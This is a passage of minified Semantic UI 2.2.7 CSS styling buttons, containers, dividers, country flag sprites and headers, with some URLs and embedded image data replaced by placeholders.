inset!important;color:#27292a!important}.ui.basic.secondary.active.button,.ui.basic.secondary.buttons .active.button{background:0 0!important;box-shadow:0 0 0 1px #27292a inset!important;color:#343637!important}.ui.basic.secondary.button:active,.ui.basic.secondary.buttons .button:active{box-shadow:0 0 0 1px #343637 inset!important;color:#343637!important}.ui.buttons:not(.vertical)>.basic.primary.button:not(:first-child){margin-left:-1px}.ui.positive.button,.ui.positive.buttons .button{background-color:#21ba45;color:#fff;text-shadow:none;background-image:none}.ui.positive.button{box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.positive.button:hover,.ui.positive.buttons .button:hover{background-color:#16ab39;color:#fff;text-shadow:none}.ui.positive.button:focus,.ui.positive.buttons .button:focus{background-color:#0ea432;color:#fff;text-shadow:none}.ui.positive.button:active,.ui.positive.buttons .button:active{background-color:#198f35;color:#fff;text-shadow:none}.ui.positive.active.button,.ui.positive.button .active.button:active,.ui.positive.buttons .active.button,.ui.positive.buttons .active.button:active{background-color:#13ae38;color:#fff;text-shadow:none}.ui.basic.positive.button,.ui.basic.positive.buttons .button{box-shadow:0 0 0 1px #21ba45 inset!important;color:#21ba45!important}.ui.basic.positive.button:hover,.ui.basic.positive.buttons .button:hover{background:0 0!important;box-shadow:0 0 0 1px #16ab39 inset!important;color:#16ab39!important}.ui.basic.positive.button:focus,.ui.basic.positive.buttons .button:focus{background:0 0!important;box-shadow:0 0 0 1px #0ea432 inset!important;color:#16ab39!important}.ui.basic.positive.active.button,.ui.basic.positive.buttons .active.button{background:0 0!important;box-shadow:0 0 0 1px #13ae38 inset!important;color:#198f35!important}.ui.basic.positive.button:active,.ui.basic.positive.buttons .button:active{box-shadow:0 0 0 1px #198f35 inset!important;color:#198f35!important}.ui.buttons:not(.vertical)>.basic.primary.button:not(:first-child){margin-left:-1px}.ui.negative.button,.ui.negative.buttons .button{background-color:#db2828;color:#fff;text-shadow:none;background-image:none}.ui.negative.button{box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.negative.button:hover,.ui.negative.buttons .button:hover{background-color:#d01919;color:#fff;text-shadow:none}.ui.negative.button:focus,.ui.negative.buttons .button:focus{background-color:#ca1010;color:#fff;text-shadow:none}.ui.negative.button:active,.ui.negative.buttons .button:active{background-color:#b21e1e;color:#fff;text-shadow:none}.ui.negative.active.button,.ui.negative.button .active.button:active,.ui.negative.buttons .active.button,.ui.negative.buttons .active.button:active{background-color:#d41515;color:#fff;text-shadow:none}.ui.basic.negative.button,.ui.basic.negative.buttons .button{box-shadow:0 0 0 1px #db2828 inset!important;color:#db2828!important}.ui.basic.negative.button:hover,.ui.basic.negative.buttons .button:hover{background:0 0!important;box-shadow:0 0 0 1px #d01919 inset!important;color:#d01919!important}.ui.basic.negative.button:focus,.ui.basic.negative.buttons .button:focus{background:0 0!important;box-shadow:0 0 0 1px #ca1010 inset!important;color:#d01919!important}.ui.basic.negative.active.button,.ui.basic.negative.buttons .active.button{background:0 0!important;box-shadow:0 0 0 1px #d41515 inset!important;color:#b21e1e!important}.ui.basic.negative.button:active,.ui.basic.negative.buttons .button:active{box-shadow:0 0 0 1px #b21e1e inset!important;color:#b21e1e!important}.ui.buttons:not(.vertical)>.basic.primary.button:not(:first-child){margin-left:-1px}.ui.buttons{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row;font-size:0;vertical-align:baseline;margin:0 .25em 0 0}.ui.buttons:not(.basic):not(.inverted){box-shadow:none}.ui.buttons:after{content:".";display:block;height:0;clear:both;visibility:hidden}.ui.buttons .button{-webkit-box-flex:1;-ms-flex:1 0 auto;flex:1 0 auto;margin:0;border-radius:0;margin:0}.ui.buttons:not(.basic):not(.inverted)>.button,.ui.buttons>.ui.button:not(.basic):not(.inverted){box-shadow:0 0 0 1px transparent inset,0 0 0 0 rgba(34,36,38,.15) inset}.ui.buttons .button:first-child{border-left:none;margin-left:0;border-top-left-radius:.28571429rem;border-bottom-left-radius:.28571429rem}.ui.buttons .button:last-child{border-top-right-radius:.28571429rem;border-bottom-right-radius:.28571429rem}.ui.vertical.buttons{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column}.ui.vertical.buttons .button{display:block;float:none;width:100%;margin:0;box-shadow:none;border-radius:0}.ui.vertical.buttons .button:first-child{border-top-left-radius:.28571429rem;border-top-right-radius:.28571429rem}.ui.vertical.buttons .button:last-child{margin-bottom:0;border-bottom-left-radius:.28571429rem;border-bottom-right-radius:.28571429rem}.ui.vertical.buttons .button:only-child{border-radius:.28571429rem}/*! * # Semantic UI 2.2.7 - Container * path_to_url * * * Released under the MIT license * path_to_url * */.ui.container{display:block;max-width:100%!important}@media only screen and (max-width:767px){.ui.container{width:auto!important;margin-left:1em!important;margin-right:1em!important}.ui.grid.container{width:auto!important}.ui.relaxed.grid.container{width:auto!important}.ui.very.relaxed.grid.container{width:auto!important}}@media only screen and (min-width:768px) and (max-width:991px){.ui.container{width:723px;margin-left:auto!important;margin-right:auto!important}.ui.grid.container{width:calc(723px + 2rem)!important}.ui.relaxed.grid.container{width:calc(723px + 3rem)!important}.ui.very.relaxed.grid.container{width:calc(723px + 5rem)!important}}@media only screen and (min-width:992px) and (max-width:1199px){.ui.container{width:933px;margin-left:auto!important;margin-right:auto!important}.ui.grid.container{width:calc(933px + 2rem)!important}.ui.relaxed.grid.container{width:calc(933px + 3rem)!important}.ui.very.relaxed.grid.container{width:calc(933px + 5rem)!important}}@media only screen and (min-width:1200px){.ui.container{width:1127px;margin-left:auto!important;margin-right:auto!important}.ui.grid.container{width:calc(1127px + 2rem)!important}.ui.relaxed.grid.container{width:calc(1127px + 3rem)!important}.ui.very.relaxed.grid.container{width:calc(1127px + 5rem)!important}}.ui.text.container{font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;max-width:700px!important;line-height:1.5}.ui.text.container{font-size:1.14285714rem}.ui.fluid.container{width:100%}.ui[class*="left aligned"].container{text-align:left}.ui[class*="center aligned"].container{text-align:center}.ui[class*="right aligned"].container{text-align:right}.ui.justified.container{text-align:justify;-webkit-hyphens:auto;-ms-hyphens:auto;hyphens:auto}/*! * # Semantic UI 2.2.7 - Divider * path_to_url * * * Released under the MIT license * path_to_url * */.ui.divider{margin:1rem 0;line-height:1;height:0;font-weight:700;text-transform:uppercase;letter-spacing:.05em;color:rgba(0,0,0,.85);-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;-webkit-tap-highlight-color:transparent}.ui.divider:not(.vertical):not(.horizontal){border-top:1px solid rgba(34,36,38,.15);border-bottom:1px solid rgba(255,255,255,.1)}.ui.grid>.column+.divider,.ui.grid>.row>.column+.divider{left:auto}.ui.horizontal.divider{display:table;white-space:nowrap;height:auto;margin:'';line-height:1;text-align:center}.ui.horizontal.divider:after,.ui.horizontal.divider:before{content:'';display:table-cell;position:relative;top:50%;width:50%;background-repeat:no-repeat}.ui.horizontal.divider:before{background-position:right 1em top 50%}.ui.horizontal.divider:after{background-position:left 1em top 50%}.ui.vertical.divider{position:absolute;z-index:2;top:50%;left:50%;margin:0;padding:0;width:auto;height:50%;line-height:0;text-align:center;-webkit-transform:translateX(-50%);transform:translateX(-50%)}.ui.vertical.divider:after,.ui.vertical.divider:before{position:absolute;left:50%;content:'';z-index:3;border-left:1px solid rgba(34,36,38,.15);border-right:1px solid rgba(255,255,255,.1);width:0;height:calc(100% - 1rem)}.ui.vertical.divider:before{top:-100%}.ui.vertical.divider:after{top:auto;bottom:0}@media only screen and (max-width:767px){.ui.grid .stackable.row .ui.vertical.divider,.ui.stackable.grid .ui.vertical.divider{display:table;white-space:nowrap;height:auto;margin:'';overflow:hidden;line-height:1;text-align:center;position:static;top:0;left:0;-webkit-transform:none;transform:none}.ui.grid .stackable.row .ui.vertical.divider:after,.ui.grid .stackable.row .ui.vertical.divider:before,.ui.stackable.grid .ui.vertical.divider:after,.ui.stackable.grid .ui.vertical.divider:before{position:static;left:0;border-left:none;border-right:none;content:'';display:table-cell;position:relative;top:50%;width:50%;background-repeat:no-repeat}.ui.grid .stackable.row .ui.vertical.divider:before,.ui.stackable.grid .ui.vertical.divider:before{background-position:right 1em top 50%}.ui.grid .stackable.row .ui.vertical.divider:after,.ui.stackable.grid .ui.vertical.divider:after{background-position:left 1em top 50%}}.ui.divider>.icon{margin:0;font-size:1rem;height:1em;vertical-align:middle}.ui.hidden.divider{border-color:transparent!important}.ui.hidden.divider:after,.ui.hidden.divider:before{display:none}.ui.divider.inverted,.ui.horizontal.inverted.divider,.ui.vertical.inverted.divider{color:#fff}.ui.divider.inverted,.ui.divider.inverted:after,.ui.divider.inverted:before{border-top-color:rgba(34,36,38,.15)!important;border-left-color:rgba(34,36,38,.15)!important;border-bottom-color:rgba(255,255,255,.15)!important;border-right-color:rgba(255,255,255,.15)!important}.ui.fitted.divider{margin:0}.ui.clearing.divider{clear:both}.ui.section.divider{margin-top:2rem;margin-bottom:2rem}.ui.divider{font-size:1rem}.ui.horizontal.divider:after,.ui.horizontal.divider:before{background-image:url(data:image/png;base64,your_sha256_hashyour_sha256_hashAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hasheG1wLmRpZDo1OThBRDY4QUNDMTYxMUU0OUE3NUVGOEJDMzMzMjE2NyI+your_sha256_hashyour_sha256_hashPSJ4bXAuZGlkOjU5OEFENjg4Q0MxNjExRTQ5QTc1RUY4QkMzMzMyMTY3Ii8+your_sha256_hashQmOQMAAAAAAJqt+2prAAAAAACg2xdgANk6BEVuJgyMAAAAAElFTkSuQmCC)}@media only screen and (max-width:767px){.ui.grid .stackable.row .ui.vertical.divider:after,.ui.grid .stackable.row .ui.vertical.divider:before,.ui.stackable.grid .ui.vertical.divider:after,.ui.stackable.grid .ui.vertical.divider:before{background-image:url(data:image/png;base64,your_sha256_hashyour_sha256_hashAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hasheG1wLmRpZDo1OThBRDY4QUNDMTYxMUU0OUE3NUVGOEJDMzMzMjE2NyI+your_sha256_hashyour_sha256_hashPSJ4bXAuZGlkOjU5OEFENjg4Q0MxNjExRTQ5QTc1RUY4QkMzMzMyMTY3Ii8+your_sha256_hashQmOQMAAAAAAJqt+2prAAAAAACg2xdgANk6BEVuJgyMAAAAAElFTkSuQmCC)}}/*! * # Semantic UI 2.2.7 - Flag * path_to_url * * * Released under the MIT license * path_to_url * */i.flag:not(.icon){display:inline-block;width:16px;height:11px;line-height:11px;vertical-align:baseline;margin:0 .5em 0 0;text-decoration:inherit;speak:none;font-smoothing:antialiased;-webkit-backface-visibility:hidden;backface-visibility:hidden}i.flag:not(.icon):before{display:inline-block;content:'';background:url(themes/default/assets/images/flags.png) no-repeat -108px -1976px;width:16px;height:11px}i.flag.ad:before,i.flag.andorra:before{background-position:0 0}i.flag.ae:before,i.flag.uae:before,i.flag.united.arab.emirates:before{background-position:0 -26px}i.flag.af:before,i.flag.afghanistan:before{background-position:0 -52px}i.flag.ag:before,i.flag.antigua:before{background-position:0 -78px}i.flag.ai:before,i.flag.anguilla:before{background-position:0 -104px}i.flag.al:before,i.flag.albania:before{background-position:0 -130px}i.flag.am:before,i.flag.armenia:before{background-position:0 -156px}i.flag.an:before,i.flag.netherlands.antilles:before{background-position:0 -182px}i.flag.angola:before,i.flag.ao:before{background-position:0 -208px}i.flag.ar:before,i.flag.argentina:before{background-position:0 -234px}i.flag.american.samoa:before,i.flag.as:before{background-position:0 -260px}i.flag.at:before,i.flag.austria:before{background-position:0 -286px}i.flag.au:before,i.flag.australia:before{background-position:0 -312px}i.flag.aruba:before,i.flag.aw:before{background-position:0 -338px}i.flag.aland.islands:before,i.flag.ax:before{background-position:0 -364px}i.flag.az:before,i.flag.azerbaijan:before{background-position:0 -390px}i.flag.ba:before,i.flag.bosnia:before{background-position:0 -416px}i.flag.barbados:before,i.flag.bb:before{background-position:0 -442px}i.flag.bangladesh:before,i.flag.bd:before{background-position:0 -468px}i.flag.be:before,i.flag.belgium:before{background-position:0 -494px}i.flag.bf:before,i.flag.burkina.faso:before{background-position:0 -520px}i.flag.bg:before,i.flag.bulgaria:before{background-position:0 -546px}i.flag.bahrain:before,i.flag.bh:before{background-position:0 -572px}i.flag.bi:before,i.flag.burundi:before{background-position:0 -598px}i.flag.benin:before,i.flag.bj:before{background-position:0 -624px}i.flag.bermuda:before,i.flag.bm:before{background-position:0 -650px}i.flag.bn:before,i.flag.brunei:before{background-position:0 -676px}i.flag.bo:before,i.flag.bolivia:before{background-position:0 -702px}i.flag.br:before,i.flag.brazil:before{background-position:0 -728px}i.flag.bahamas:before,i.flag.bs:before{background-position:0 -754px}i.flag.bhutan:before,i.flag.bt:before{background-position:0 -780px}i.flag.bouvet.island:before,i.flag.bv:before{background-position:0 -806px}i.flag.botswana:before,i.flag.bw:before{background-position:0 -832px}i.flag.belarus:before,i.flag.by:before{background-position:0 -858px}i.flag.belize:before,i.flag.bz:before{background-position:0 -884px}i.flag.ca:before,i.flag.canada:before{background-position:0 -910px}i.flag.cc:before,i.flag.cocos.islands:before{background-position:0 -962px}i.flag.cd:before,i.flag.congo:before{background-position:0 -988px}i.flag.central.african.republic:before,i.flag.cf:before{background-position:0 -1014px}i.flag.cg:before,i.flag.congo.brazzaville:before{background-position:0 -1040px}i.flag.ch:before,i.flag.switzerland:before{background-position:0 -1066px}i.flag.ci:before,i.flag.cote.divoire:before{background-position:0 -1092px}i.flag.ck:before,i.flag.cook.islands:before{background-position:0 -1118px}i.flag.chile:before,i.flag.cl:before{background-position:0 -1144px}i.flag.cameroon:before,i.flag.cm:before{background-position:0 -1170px}i.flag.china:before,i.flag.cn:before{background-position:0 -1196px}i.flag.co:before,i.flag.colombia:before{background-position:0 -1222px}i.flag.costa.rica:before,i.flag.cr:before{background-position:0 -1248px}i.flag.cs:before,i.flag.serbia:before{background-position:0 -1274px}i.flag.cu:before,i.flag.cuba:before{background-position:0 -1300px}i.flag.cape.verde:before,i.flag.cv:before{background-position:0 -1326px}i.flag.christmas.island:before,i.flag.cx:before{background-position:0 -1352px}i.flag.cy:before,i.flag.cyprus:before{background-position:0 -1378px}i.flag.cz:before,i.flag.czech.republic:before{background-position:0 -1404px}i.flag.de:before,i.flag.germany:before{background-position:0 -1430px}i.flag.dj:before,i.flag.djibouti:before{background-position:0 -1456px}i.flag.denmark:before,i.flag.dk:before{background-position:0 -1482px}i.flag.dm:before,i.flag.dominica:before{background-position:0 -1508px}i.flag.do:before,i.flag.dominican.republic:before{background-position:0 -1534px}i.flag.algeria:before,i.flag.dz:before{background-position:0 -1560px}i.flag.ec:before,i.flag.ecuador:before{background-position:0 -1586px}i.flag.ee:before,i.flag.estonia:before{background-position:0 -1612px}i.flag.eg:before,i.flag.egypt:before{background-position:0 -1638px}i.flag.eh:before,i.flag.western.sahara:before{background-position:0 -1664px}i.flag.er:before,i.flag.eritrea:before{background-position:0 -1716px}i.flag.es:before,i.flag.spain:before{background-position:0 -1742px}i.flag.et:before,i.flag.ethiopia:before{background-position:0 -1768px}i.flag.eu:before,i.flag.european.union:before{background-position:0 -1794px}i.flag.fi:before,i.flag.finland:before{background-position:0 -1846px}i.flag.fiji:before,i.flag.fj:before{background-position:0 -1872px}i.flag.falkland.islands:before,i.flag.fk:before{background-position:0 -1898px}i.flag.fm:before,i.flag.micronesia:before{background-position:0 -1924px}i.flag.faroe.islands:before,i.flag.fo:before{background-position:0 -1950px}i.flag.fr:before,i.flag.france:before{background-position:0 -1976px}i.flag.ga:before,i.flag.gabon:before{background-position:-36px 0}i.flag.gb:before,i.flag.united.kingdom:before{background-position:-36px -26px}i.flag.gd:before,i.flag.grenada:before{background-position:-36px -52px}i.flag.ge:before,i.flag.georgia:before{background-position:-36px -78px}i.flag.french.guiana:before,i.flag.gf:before{background-position:-36px -104px}i.flag.gh:before,i.flag.ghana:before{background-position:-36px -130px}i.flag.gi:before,i.flag.gibraltar:before{background-position:-36px -156px}i.flag.gl:before,i.flag.greenland:before{background-position:-36px -182px}i.flag.gambia:before,i.flag.gm:before{background-position:-36px -208px}i.flag.gn:before,i.flag.guinea:before{background-position:-36px -234px}i.flag.gp:before,i.flag.guadeloupe:before{background-position:-36px -260px}i.flag.equatorial.guinea:before,i.flag.gq:before{background-position:-36px -286px}i.flag.gr:before,i.flag.greece:before{background-position:-36px -312px}i.flag.gs:before,i.flag.sandwich.islands:before{background-position:-36px -338px}i.flag.gt:before,i.flag.guatemala:before{background-position:-36px -364px}i.flag.gu:before,i.flag.guam:before{background-position:-36px -390px}i.flag.guinea-bissau:before,i.flag.gw:before{background-position:-36px -416px}i.flag.guyana:before,i.flag.gy:before{background-position:-36px -442px}i.flag.hk:before,i.flag.hong.kong:before{background-position:-36px -468px}i.flag.heard.island:before,i.flag.hm:before{background-position:-36px -494px}i.flag.hn:before,i.flag.honduras:before{background-position:-36px -520px}i.flag.croatia:before,i.flag.hr:before{background-position:-36px -546px}i.flag.haiti:before,i.flag.ht:before{background-position:-36px -572px}i.flag.hu:before,i.flag.hungary:before{background-position:-36px -598px}i.flag.id:before,i.flag.indonesia:before{background-position:-36px -624px}i.flag.ie:before,i.flag.ireland:before{background-position:-36px -650px}i.flag.il:before,i.flag.israel:before{background-position:-36px -676px}i.flag.in:before,i.flag.india:before{background-position:-36px -702px}i.flag.indian.ocean.territory:before,i.flag.io:before{background-position:-36px -728px}i.flag.iq:before,i.flag.iraq:before{background-position:-36px -754px}i.flag.ir:before,i.flag.iran:before{background-position:-36px -780px}i.flag.iceland:before,i.flag.is:before{background-position:-36px -806px}i.flag.it:before,i.flag.italy:before{background-position:-36px -832px}i.flag.jamaica:before,i.flag.jm:before{background-position:-36px -858px}i.flag.jo:before,i.flag.jordan:before{background-position:-36px -884px}i.flag.japan:before,i.flag.jp:before{background-position:-36px -910px}i.flag.ke:before,i.flag.kenya:before{background-position:-36px -936px}i.flag.kg:before,i.flag.kyrgyzstan:before{background-position:-36px -962px}i.flag.cambodia:before,i.flag.kh:before{background-position:-36px -988px}i.flag.ki:before,i.flag.kiribati:before{background-position:-36px -1014px}i.flag.comoros:before,i.flag.km:before{background-position:-36px -1040px}i.flag.kn:before,i.flag.saint.kitts.and.nevis:before{background-position:-36px -1066px}i.flag.kp:before,i.flag.north.korea:before{background-position:-36px -1092px}i.flag.kr:before,i.flag.south.korea:before{background-position:-36px -1118px}i.flag.kuwait:before,i.flag.kw:before{background-position:-36px -1144px}i.flag.cayman.islands:before,i.flag.ky:before{background-position:-36px -1170px}i.flag.kazakhstan:before,i.flag.kz:before{background-position:-36px -1196px}i.flag.la:before,i.flag.laos:before{background-position:-36px -1222px}i.flag.lb:before,i.flag.lebanon:before{background-position:-36px -1248px}i.flag.lc:before,i.flag.saint.lucia:before{background-position:-36px -1274px}i.flag.li:before,i.flag.liechtenstein:before{background-position:-36px -1300px}i.flag.lk:before,i.flag.sri.lanka:before{background-position:-36px -1326px}i.flag.liberia:before,i.flag.lr:before{background-position:-36px -1352px}i.flag.lesotho:before,i.flag.ls:before{background-position:-36px -1378px}i.flag.lithuania:before,i.flag.lt:before{background-position:-36px -1404px}i.flag.lu:before,i.flag.luxembourg:before{background-position:-36px -1430px}i.flag.latvia:before,i.flag.lv:before{background-position:-36px -1456px}i.flag.libya:before,i.flag.ly:before{background-position:-36px -1482px}i.flag.ma:before,i.flag.morocco:before{background-position:-36px -1508px}i.flag.mc:before,i.flag.monaco:before{background-position:-36px -1534px}i.flag.md:before,i.flag.moldova:before{background-position:-36px -1560px}i.flag.me:before,i.flag.montenegro:before{background-position:-36px -1586px}i.flag.madagascar:before,i.flag.mg:before{background-position:-36px -1613px}i.flag.marshall.islands:before,i.flag.mh:before{background-position:-36px -1639px}i.flag.macedonia:before,i.flag.mk:before{background-position:-36px -1665px}i.flag.mali:before,i.flag.ml:before{background-position:-36px -1691px}i.flag.burma:before,i.flag.mm:before,i.flag.myanmar:before{background-position:-36px -1717px}i.flag.mn:before,i.flag.mongolia:before{background-position:-36px -1743px}i.flag.macau:before,i.flag.mo:before{background-position:-36px -1769px}i.flag.mp:before,i.flag.northern.mariana.islands:before{background-position:-36px -1795px}i.flag.martinique:before,i.flag.mq:before{background-position:-36px -1821px}i.flag.mauritania:before,i.flag.mr:before{background-position:-36px -1847px}i.flag.montserrat:before,i.flag.ms:before{background-position:-36px -1873px}i.flag.malta:before,i.flag.mt:before{background-position:-36px -1899px}i.flag.mauritius:before,i.flag.mu:before{background-position:-36px -1925px}i.flag.maldives:before,i.flag.mv:before{background-position:-36px -1951px}i.flag.malawi:before,i.flag.mw:before{background-position:-36px -1977px}i.flag.mexico:before,i.flag.mx:before{background-position:-72px 0}i.flag.malaysia:before,i.flag.my:before{background-position:-72px -26px}i.flag.mozambique:before,i.flag.mz:before{background-position:-72px -52px}i.flag.na:before,i.flag.namibia:before{background-position:-72px -78px}i.flag.nc:before,i.flag.new.caledonia:before{background-position:-72px -104px}i.flag.ne:before,i.flag.niger:before{background-position:-72px -130px}i.flag.nf:before,i.flag.norfolk.island:before{background-position:-72px -156px}i.flag.ng:before,i.flag.nigeria:before{background-position:-72px -182px}i.flag.ni:before,i.flag.nicaragua:before{background-position:-72px -208px}i.flag.netherlands:before,i.flag.nl:before{background-position:-72px -234px}i.flag.no:before,i.flag.norway:before{background-position:-72px -260px}i.flag.nepal:before,i.flag.np:before{background-position:-72px -286px}i.flag.nauru:before,i.flag.nr:before{background-position:-72px -312px}i.flag.niue:before,i.flag.nu:before{background-position:-72px -338px}i.flag.new.zealand:before,i.flag.nz:before{background-position:-72px -364px}i.flag.om:before,i.flag.oman:before{background-position:-72px -390px}i.flag.pa:before,i.flag.panama:before{background-position:-72px -416px}i.flag.pe:before,i.flag.peru:before{background-position:-72px -442px}i.flag.french.polynesia:before,i.flag.pf:before{background-position:-72px -468px}i.flag.new.guinea:before,i.flag.pg:before{background-position:-72px -494px}i.flag.ph:before,i.flag.philippines:before{background-position:-72px -520px}i.flag.pakistan:before,i.flag.pk:before{background-position:-72px -546px}i.flag.pl:before,i.flag.poland:before{background-position:-72px -572px}i.flag.pm:before,i.flag.saint.pierre:before{background-position:-72px -598px}i.flag.pitcairn.islands:before,i.flag.pn:before{background-position:-72px -624px}i.flag.pr:before,i.flag.puerto.rico:before{background-position:-72px -650px}i.flag.palestine:before,i.flag.ps:before{background-position:-72px -676px}i.flag.portugal:before,i.flag.pt:before{background-position:-72px -702px}i.flag.palau:before,i.flag.pw:before{background-position:-72px -728px}i.flag.paraguay:before,i.flag.py:before{background-position:-72px -754px}i.flag.qa:before,i.flag.qatar:before{background-position:-72px -780px}i.flag.re:before,i.flag.reunion:before{background-position:-72px -806px}i.flag.ro:before,i.flag.romania:before{background-position:-72px -832px}i.flag.rs:before,i.flag.serbia:before{background-position:-72px -858px}i.flag.ru:before,i.flag.russia:before{background-position:-72px -884px}i.flag.rw:before,i.flag.rwanda:before{background-position:-72px -910px}i.flag.sa:before,i.flag.saudi.arabia:before{background-position:-72px -936px}i.flag.sb:before,i.flag.solomon.islands:before{background-position:-72px -962px}i.flag.sc:before,i.flag.seychelles:before{background-position:-72px -988px}i.flag.gb.sct:before,i.flag.scotland:before{background-position:-72px -1014px}i.flag.sd:before,i.flag.sudan:before{background-position:-72px -1040px}i.flag.se:before,i.flag.sweden:before{background-position:-72px -1066px}i.flag.sg:before,i.flag.singapore:before{background-position:-72px -1092px}i.flag.saint.helena:before,i.flag.sh:before{background-position:-72px -1118px}i.flag.si:before,i.flag.slovenia:before{background-position:-72px -1144px}i.flag.jan.mayen:before,i.flag.sj:before,i.flag.svalbard:before{background-position:-72px -1170px}i.flag.sk:before,i.flag.slovakia:before{background-position:-72px -1196px}i.flag.sierra.leone:before,i.flag.sl:before{background-position:-72px -1222px}i.flag.san.marino:before,i.flag.sm:before{background-position:-72px -1248px}i.flag.senegal:before,i.flag.sn:before{background-position:-72px -1274px}i.flag.so:before,i.flag.somalia:before{background-position:-72px -1300px}i.flag.sr:before,i.flag.suriname:before{background-position:-72px -1326px}i.flag.sao.tome:before,i.flag.st:before{background-position:-72px -1352px}i.flag.el.salvador:before,i.flag.sv:before{background-position:-72px -1378px}i.flag.sy:before,i.flag.syria:before{background-position:-72px -1404px}i.flag.swaziland:before,i.flag.sz:before{background-position:-72px -1430px}i.flag.caicos.islands:before,i.flag.tc:before{background-position:-72px -1456px}i.flag.chad:before,i.flag.td:before{background-position:-72px -1482px}i.flag.french.territories:before,i.flag.tf:before{background-position:-72px -1508px}i.flag.tg:before,i.flag.togo:before{background-position:-72px -1534px}i.flag.th:before,i.flag.thailand:before{background-position:-72px -1560px}i.flag.tajikistan:before,i.flag.tj:before{background-position:-72px -1586px}i.flag.tk:before,i.flag.tokelau:before{background-position:-72px -1612px}i.flag.timorleste:before,i.flag.tl:before{background-position:-72px -1638px}i.flag.tm:before,i.flag.turkmenistan:before{background-position:-72px -1664px}i.flag.tn:before,i.flag.tunisia:before{background-position:-72px -1690px}i.flag.to:before,i.flag.tonga:before{background-position:-72px -1716px}i.flag.tr:before,i.flag.turkey:before{background-position:-72px -1742px}i.flag.trinidad:before,i.flag.tt:before{background-position:-72px -1768px}i.flag.tuvalu:before,i.flag.tv:before{background-position:-72px -1794px}i.flag.taiwan:before,i.flag.tw:before{background-position:-72px -1820px}i.flag.tanzania:before,i.flag.tz:before{background-position:-72px -1846px}i.flag.ua:before,i.flag.ukraine:before{background-position:-72px -1872px}i.flag.ug:before,i.flag.uganda:before{background-position:-72px -1898px}i.flag.um:before,i.flag.us.minor.islands:before{background-position:-72px -1924px}i.flag.america:before,i.flag.united.states:before,i.flag.us:before{background-position:-72px -1950px}i.flag.uruguay:before,i.flag.uy:before{background-position:-72px -1976px}i.flag.uz:before,i.flag.uzbekistan:before{background-position:-108px 0}i.flag.va:before,i.flag.vatican.city:before{background-position:-108px -26px}i.flag.saint.vincent:before,i.flag.vc:before{background-position:-108px -52px}i.flag.ve:before,i.flag.venezuela:before{background-position:-108px -78px}i.flag.british.virgin.islands:before,i.flag.vg:before{background-position:-108px -104px}i.flag.us.virgin.islands:before,i.flag.vi:before{background-position:-108px -130px}i.flag.vietnam:before,i.flag.vn:before{background-position:-108px -156px}i.flag.vanuatu:before,i.flag.vu:before{background-position:-108px -182px}i.flag.gb.wls:before,i.flag.wales:before{background-position:-108px -208px}i.flag.wallis.and.futuna:before,i.flag.wf:before{background-position:-108px -234px}i.flag.samoa:before,i.flag.ws:before{background-position:-108px -260px}i.flag.ye:before,i.flag.yemen:before{background-position:-108px -286px}i.flag.mayotte:before,i.flag.yt:before{background-position:-108px -312px}i.flag.south.africa:before,i.flag.za:before{background-position:-108px -338px}i.flag.zambia:before,i.flag.zm:before{background-position:-108px -364px}i.flag.zimbabwe:before,i.flag.zw:before{background-position:-108px -390px}/*! * # Semantic UI 2.2.7 - Header * path_to_url * * * Released under the MIT license * path_to_url * */.ui.header{border:none;margin:calc(2rem - .14285em) 0 1rem;padding:0 0;font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;font-weight:700;line-height:1.2857em;text-transform:none;color:rgba(0,0,0,.87)}.ui.header:first-child{margin-top:-.14285em}.ui.header:last-child{margin-bottom:0}.ui.header .sub.header{display:block;font-weight:400;padding:0;margin:0;font-size:1rem;line-height:1.2em;color:rgba(0,0,0,.6)}.ui.header>.icon{display:table-cell;opacity:1;font-size:1.5em;padding-top:.14285em;vertical-align:middle}.ui.header .icon:only-child{display:inline-block;padding:0;margin-right:.75rem}.ui.header>.image,.ui.header>img{display:inline-block;margin-top:.14285em;width:2.5em;height:auto;vertical-align:middle}.ui.header>.image:only-child,.ui.header>img:only-child{margin-right:.75rem}.ui.header .content{display:inline-block;vertical-align:top}.ui.header>.image+.content,.ui.header>img+.content{padding-left:.75rem;vertical-align:middle}.ui.header>.icon+.content{padding-left:.75rem;display:table-cell;vertical-align:middle}.ui.header .ui.label{font-size:'';margin-left:.5rem;vertical-align:middle}.ui.header+p{margin-top:0}h1.ui.header{font-size:2rem}h2.ui.header{font-size:1.714rem}h3.ui.header{font-size:1.28rem}h4.ui.header{font-size:1.071rem}h5.ui.header{font-size:1rem}h1.ui.header .sub.header{font-size:1.14285714rem}h2.ui.header .sub.header{font-size:1.14285714rem}h3.ui.header .sub.header{font-size:1rem}h4.ui.header .sub.header{font-size:1rem}h5.ui.header .sub.header{font-size:.92857143rem}.ui.huge.header{min-height:1em;font-size:2em}.ui.large.header{font-size:1.714em}.ui.medium.header{font-size:1.28em}.ui.small.header{font-size:1.071em}.ui.tiny.header{font-size:1em}.ui.huge.header .sub.header{font-size:1.14285714rem}.ui.large.header .sub.header{font-size:1.14285714rem}.ui.header .sub.header{font-size:1rem}.ui.small.header .sub.header{font-size:1rem}.ui.tiny.header 